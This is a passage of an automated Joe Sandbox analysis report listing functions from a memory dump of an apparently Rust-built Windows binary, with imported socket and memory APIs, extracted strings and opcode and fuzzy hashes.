WSAGetLastError.WS2_32 ref: 00007FF717766921
closesocket.WS2_32 ref: 00007FF717766933

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: ErrorLastbindclosesocketlisten
String ID:
API String ID: 2544828312-0
Opcode ID: fb488e8df0ef0915f2fe76691f10f5ab3d3abcbd7fd49f1462db7356d80c9aa5
Instruction ID: d95017b1017d4258fba6dea840b0dee74688ba96363368eab7159a7ea2d6f0a5
Opcode Fuzzy Hash: fb488e8df0ef0915f2fe76691f10f5ab3d3abcbd7fd49f1462db7356d80c9aa5
Instruction Fuzzy Hash: 2621D861F04A4186FB24E765D1002BDE2609F19BB4F94C135EE4D97BCAF92CE99F8360

Function 00007FF71778F840 Relevance: 5.4, Strings: 4, Instructions: 356COMMON

Download Yara Rule

Strings

d, xrefs: 00007FF71778F9F5
cannot parse float from empty stringinvalid float literalassertion failed: edelta >= 0library\core\src\num\diy_float.rs, xrefs: 00007FF71778FD32
FFFFFFFF, xrefs: 00007FF71778F994
FFFFFFFF, xrefs: 00007FF71778F876

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID: FFFFFFFF$FFFFFFFF$cannot parse float from empty stringinvalid float literalassertion failed: edelta >= 0library\core\src\num\diy_float.rs$d
API String ID: 0-1258069422
Opcode ID: b919c37030ce28c58c3e421755fbc5dbe9e22fe64c590991e85f27ef456516ef
Instruction ID: 00151f7bdb41c6e945a5b0d6801b2e3ddf80af31c5e40bdccaac493d82d299f0
Opcode Fuzzy Hash: b919c37030ce28c58c3e421755fbc5dbe9e22fe64c590991e85f27ef456516ef
Instruction Fuzzy Hash: 2EC15B12F08E9585EB50AB25C4557B8AB90AB1ABF4FC95231CF6D033C2EA3D964FC310

Function 00007FF717789920 Relevance: 5.3, Strings: 4, Instructions: 306COMMON

Download Yara Rule

Strings

HygonGen, xrefs: 00007FF717789CD7
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Time went backwards, xrefs: 00007FF717789925
Authenti, xrefs: 00007FF717789CB8
GenuineI, xrefs: 00007FF717789D0A

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Time went backwards$Authenti$GenuineI$HygonGen
API String ID: 0-1540695585
Opcode ID: 497cf9bde67d657714d30a6a9e4ea4508630fa734bc516074808672686d99aab
Instruction ID: e15692badd6fa676302883f6cb171232fc57516d8863863e3ae008cd09fa8159
Opcode Fuzzy Hash: 497cf9bde67d657714d30a6a9e4ea4508630fa734bc516074808672686d99aab
Instruction Fuzzy Hash: 759157A3B25D5106FB4C85A5EC36BB94892B3987D8E48A03DED5F97BC5DC7CCA158200

Function 00007FF7177795B6 Relevance: 5.1, Strings: 4, Instructions: 76COMMON

Download Yara Rule

Strings

wCGR, xrefs: 00007FF717779611
wCGR, xrefs: 00007FF7177795E5
wCGR, xrefs: 00007FF7177795B6
wCGR, xrefs: 00007FF71777963D

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID: wCGR$wCGR$wCGR$wCGR
API String ID: 0-1544543998
Opcode ID: b76849e2c63d6d30d82bc14477643e3235ad5eb05f076e6cf90bd5cefba32814
Instruction ID: 83d6f1996ca7d86101c81c5ba7c49200f94093517e37d318d3fb6d06826949bb
Opcode Fuzzy Hash: b76849e2c63d6d30d82bc14477643e3235ad5eb05f076e6cf90bd5cefba32814
Instruction Fuzzy Hash: 48210B23F1E4A64AE760D539504467EDED2CB4EB94FA8C031C9890E5D5C93AE80FDFA0

Function 00007FF71779A0E0 Relevance: 4.8, APIs: 2, Strings: 1, Instructions: 340COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF71779A5BC
memset.MSVCRT ref: 00007FF71779A60D

Strings

00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899assertion failed: *curr > 19, xrefs: 00007FF71779A235, 00007FF71779A352, 00007FF71779A38C, 00007FF71779A3D1, 00007FF71779A415, 00007FF71779A439

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: memset
String ID: 00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899assertion failed: *curr > 19
API String ID: 2221118986-3825506207
Opcode ID: 2ee8c62daf8919137ebe3993411475a7d742ad96e406f9c8ee6e6c9c5bbcabfd
Instruction ID: b6228577e370802037520a34e08601587c63ab177e2d9ffe6332bc914624a7ff
Opcode Fuzzy Hash: 2ee8c62daf8919137ebe3993411475a7d742ad96e406f9c8ee6e6c9c5bbcabfd
Instruction Fuzzy Hash: 21C17F52714A6585DF04AF3A9801279AE65FB88BF4F809332EE2E877E5E93CD549C310

Function 00007FF71777D887 Relevance: 4.8, APIs: 2, Strings: 1, Instructions: 281COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 00007FF71777DBCE
memcmp.MSVCRT ref: 00007FF71777DBE8

Strings

fcwfswxmm16xmm17xmm18xmm19xmm20xmm21xmm22xmm23xmm24xmm25xmm26xmm27xmm28xmm29xmm30xmm31k0k1k2k3k4k5k6k7r0r1r2r3r4r5r6r7r16r17r18r19r20r21r22r23r24r25r26r27r28r29r30r31lrctrcr0cr1cr2cr3cr4cr5cr6cr7xervr0vr1vr2vr3vr4vr5vr6vr7vr8vr9vr10vr11vr12vr13vr14vr15vr16vr17, xrefs: 00007FF71777DBC1

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: memcmp
String ID: fcwfswxmm16xmm17xmm18xmm19xmm20xmm21xmm22xmm23xmm24xmm25xmm26xmm27xmm28xmm29xmm30xmm31k0k1k2k3k4k5k6k7r0r1r2r3r4r5r6r7r16r17r18r19r20r21r22r23r24r25r26r27r28r29r30r31lrctrcr0cr1cr2cr3cr4cr5cr6cr7xervr0vr1vr2vr3vr4vr5vr6vr7vr8vr9vr10vr11vr12vr13vr14vr15vr16vr17
API String ID: 1475443563-1161499575
Opcode ID: c263884aa9e3057750cdec65988fce9bccec6885e3903c3fde1f5f5258ffec36
Instruction ID: 4b0dec79a27783280efbb5c68e4c6445c1083e7bb4020e7d3354db18ee8ed27c
Opcode Fuzzy Hash: c263884aa9e3057750cdec65988fce9bccec6885e3903c3fde1f5f5258ffec36
Instruction Fuzzy Hash: A7A1494391C4F244E3283F31905557AB9A2CB1EB58FDA5433DEC90E9C6D99EA18FE270

Function 00007FF717740870 Relevance: 4.7, APIs: 2, Strings: 1, Instructions: 208COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF717740983
memcpy.MSVCRT ref: 00007FF717740AC3

Strings

assertion failed: filled <= self.buf.init, xrefs: 00007FF717740B04

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: memcpymemset
String ID: assertion failed: filled <= self.buf.init
API String ID: 1297977491-906094691
Opcode ID: 09d0fa93f665dc768102ff0b27845f2ce2a8ce54f91c2c16a14c05d1d13026da
Instruction ID: a139ab89fcb80074492023680e47a37d112a817ad7398de1a6ef8b4c36900364
Opcode Fuzzy Hash: 09d0fa93f665dc768102ff0b27845f2ce2a8ce54f91c2c16a14c05d1d13026da
Instruction Fuzzy Hash: 4871F372F18A5146FE61AB25880227AA791FF48BA4F944571CE1F13782DE3CE48FC260

Function 00007FF7177B15DD Relevance: 4.7, Strings: 2, Instructions: 2158COMMON

Download Yara Rule

Strings

2, xrefs: 00007FF7177B32BF
2, xrefs: 00007FF7177B29FD

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID: 2$2
API String ID: 0-3784399050
Opcode ID: c9ff9ae3ff6a2fe64a4c15407332d654a052168682713aca6000e7b424874b26
Instruction ID: 3eecdcc4839ae141226e0c803fb831b6770d22f0b944885f593a0c0f03012b2c
Opcode Fuzzy Hash: c9ff9ae3ff6a2fe64a4c15407332d654a052168682713aca6000e7b424874b26
Instruction Fuzzy Hash: 7223C6B3619A918BD3688F24C44063CBBB1F799B59F95C239CF494774ACB38D94ACB10

Function 00007FF71771C860 Relevance: 4.6, APIs: 3, Instructions: 839COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1097fa93fddd453f792d45543899a1e4fc326d39657ff7d8f8875761a3559a0
Instruction ID: 168639b0772549e4da84bb80a5dbab78784eea9afc20d933655468f3a801ea02
Opcode Fuzzy Hash: d1097fa93fddd453f792d45543899a1e4fc326d39657ff7d8f8875761a3559a0
Instruction Fuzzy Hash: 8E72D363E08FC482E7109F6995016A9A360FB587E8F869721EF6D13796DF38E1D9C310

Function 00007FF71771D1D0 Relevance: 4.4, APIs: 3, Instructions: 679COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF71771DC64

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 93119471c1f6efe8fbfbf97ed26e9b2a80bd43b04e852abf22b216e192d1ffd0
Instruction ID: aae19374fdac5f2bcf69f2ab41bad6034abdd35167cc331919da9045a19f8978
Opcode Fuzzy Hash: 93119471c1f6efe8fbfbf97ed26e9b2a80bd43b04e852abf22b216e192d1ffd0
Instruction Fuzzy Hash: A5529353E04FC482E7119F2996012E86760FB697E8F46A721DF6D17796EB38E2D9C300

Function 00007FF71771DC80 Relevance: 4.4, APIs: 3, Instructions: 677COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c829463470470f7b4964831b1ac1f0c3118e2d0008bfd1ec6e7c66954680678c
Instruction ID: 5b8b7df6ab485756786fab1fe46cc44fca82aa5b38422ecfa2a91fd03b7cc606
Opcode Fuzzy Hash: c829463470470f7b4964831b1ac1f0c3118e2d0008bfd1ec6e7c66954680678c
Instruction Fuzzy Hash: 5162B262A14FC486E7109F28C5006E97760F768BE8F859721DF6D13796EF78E299C300

Function 00007FF717720820 Relevance: 4.4, APIs: 3, Instructions: 621COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 00007FF7177208B8
memcmp.MSVCRT ref: 00007FF717720914
memcmp.MSVCRT ref: 00007FF717720942

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 3e158a733f6a37855dfcd5033032e9309490e4f61f5363e1de42df6458cbe0e6
Instruction ID: 1ef7990a011250a077c5f133915d64a8ec2252e478a8b06f964c3f6673842c66
Opcode Fuzzy Hash: 3e158a733f6a37855dfcd5033032e9309490e4f61f5363e1de42df6458cbe0e6
Instruction Fuzzy Hash: BE321622B09E9245FB229B3584146F8A752EB197B8FC44632DE9E13796DF38D14FC320

Function 00007FF7177A3350 Relevance: 4.1, Strings: 3, Instructions: 332COMMON

Download Yara Rule

Strings

<, xrefs: 00007FF7177A3642
NAN, xrefs: 00007FF7177A3488
INFINITY, xrefs: 00007FF7177A33C7

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID: <$INFINITY$NAN
API String ID: 0-2314501456
Opcode ID: 25cdb153779fdb788de3b14be86f6e6bfe9936a62491776514dcf1e098ff83ad
Instruction ID: 14b98e07e94a6df6b4fdc34ec77a520f29171baac01a40108bb005c5bf063b57
Opcode Fuzzy Hash: 25cdb153779fdb788de3b14be86f6e6bfe9936a62491776514dcf1e098ff83ad
Instruction Fuzzy Hash: CDD1F591F08E8244FB61AE3984452B8DB516F49BB8FD94531DD0D963D3DEBCA94F8220

Function 00007FF71772B800 Relevance: 3.1, APIs: 1, Instructions: 1894COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70dc1c02b5097ec0f2f7ae725ff55147b625c185937b75409fc0230ca7587782
Instruction ID: ba654899d152b947769ddb0a16410df596133847a0ac8217fe8dbee26725d8aa
Opcode Fuzzy Hash: 70dc1c02b5097ec0f2f7ae725ff55147b625c185937b75409fc0230ca7587782
Instruction Fuzzy Hash: D3139062608FD189E7719F25D8403F973A4FB197A8F405225DF6C4BB9ADF38928AC350

Function 00007FF7177A1780 Relevance: 3.1, Strings: 2, Instructions: 557COMMON

Download Yara Rule

Strings

assertion failed: noborrowassertion failed: digits < 40assertion failed: other > 0assertion failed: !d.is_zero()_, xrefs: 00007FF7177A1EC7, 00007FF7177A2A7A
assertion failed: digits < 3, xrefs: 00007FF7177A210E

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID: assertion failed: digits < 3$assertion failed: noborrowassertion failed: digits < 40assertion failed: other > 0assertion failed: !d.is_zero()_
API String ID: 0-2607668560
Opcode ID: 98b3385c3d579fad76b66177bc2c53a2ba71a8cce4d1cbd7e4d5b219d9e7a95d
Instruction ID: 47c493de8a423f89fbc78bb26975f4d389f73365d54f9847e7437a2f9c0cc096
Opcode Fuzzy Hash: 98b3385c3d579fad76b66177bc2c53a2ba71a8cce4d1cbd7e4d5b219d9e7a95d
Instruction Fuzzy Hash: 57222C23B09F8159F715AB64A4503F8ABA0EB59B64F8C4135DE5D07BC2DA2CD69FC320

Function 00007FF717747580 Relevance: 3.0, APIs: 2, Instructions: 27networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FF7177475A0
WSAGetLastError.WS2_32 ref: 00007FF7177475B1

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: ErrorLastrecv
String ID:
API String ID: 2514157807-0
Opcode ID: bd52385a20bdcfd3e02c620ab8cad5c7b9fe4f42ebbd8bf8919a8a68ee37ba77
Instruction ID: c0c1fc5a71afaeee377c4fac32690c69c2b9c16bb343b7a52a7d9366fcbdee7b
Opcode Fuzzy Hash: bd52385a20bdcfd3e02c620ab8cad5c7b9fe4f42ebbd8bf8919a8a68ee37ba77
Instruction Fuzzy Hash: 54E09B71B0894189FF7471755056379C1828B8C774FA89334DD7E8B3D6DD1CA49A0660

Function 00007FF71771B350 Relevance: 2.9, APIs: 2, Instructions: 425COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5de9433cb98f94a430e6aaf40341db30cdcb2d7d06c1631c28e4995252198cf9
Instruction ID: 5757ab12d0dd5dbc7d3b56811004a2941b0e7b44e0fb0af1b0880d02859454dd
Opcode Fuzzy Hash: 5de9433cb98f94a430e6aaf40341db30cdcb2d7d06c1631c28e4995252198cf9
Instruction Fuzzy Hash: FC029D62B18E8585EB609F25C8583F96760F758BA8F804636CE1D4B7A5DE39D28EC310

Function 00007FF71771BA80 Relevance: 2.9, APIs: 2, Instructions: 418COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
